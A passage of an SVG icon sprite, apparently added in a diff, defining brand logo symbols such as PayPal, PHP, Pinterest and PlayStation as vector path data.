188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"></path> + </symbol> + <symbol id="osi" viewBox="0 0 512 512"> + <path d="M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"></path> + </symbol> + <symbol id="page4" viewBox="0 0 496 512"> + <path d="M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"></path> + </symbol> + <symbol id="pagelines" viewBox="0 0 384 512"> + <path d="M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"></path> + </symbol> + <symbol id="palfed" viewBox="0 0 576 512"> + <path d="M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"></path> + </symbol> + <symbol id="patreon" viewBox="0 0 512 512"> + <path d="M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"></path> + </symbol> + <symbol id="paypal" viewBox="0 0 384 512"> + <path d="M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"></path> + </symbol> + <symbol id="penny-arcade" viewBox="0 0 640 512"> + <path d="M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z"></path> + </symbol> + <symbol id="perbyte" viewBox="0 0 448 512"> + <path d="M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"></path> + </symbol> + <symbol id="periscope" viewBox="0 0 448 512"> + <path d="M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"></path> + </symbol> + <symbol id="phabricator" viewBox="0 0 496 512"> + <path d="M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"></path> + </symbol> + <symbol id="phoenix-framework" viewBox="0 0 640 512"> + <path d="M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"></path> + </symbol> + <symbol id="phoenix-squadron" viewBox="0 0 512 512"> + <path d="M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"></path> + </symbol> + <symbol id="php" viewBox="0 0 640 512"> + <path d="M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"></path> + </symbol> + <symbol id="pied-piper" viewBox="0 0 480 512"> + <path d="M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z"></path> + </symbol> + <symbol id="pied-piper-alt" viewBox="0 0 576 512"> + <path d="M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"></path> + </symbol> + <symbol id="pied-piper-hat" viewBox="0 0 640 512"> + <path d="M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"></path> + </symbol> + <symbol id="pied-piper-pp" viewBox="0 0 448 512"> + <path d="M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"></path> + </symbol> + <symbol id="pied-piper-square" viewBox="0 0 448 512"> + <path d="M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"></path> + </symbol> + <symbol id="pinterest" viewBox="0 0 496 512"> + <path d="M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"></path> + </symbol> + <symbol id="pinterest-p" viewBox="0 0 384 512"> + <path d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path> + </symbol> + <symbol id="pinterest-square" viewBox="0 0 448 512"> + <path d="M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"></path> + </symbol> + <symbol id="playstation" viewBox="0 0 576 512"> + <path d="M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"></path> + </symbol> + <symbol id="product-hunt" viewBox="0 0 512 512"> + <path d="M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 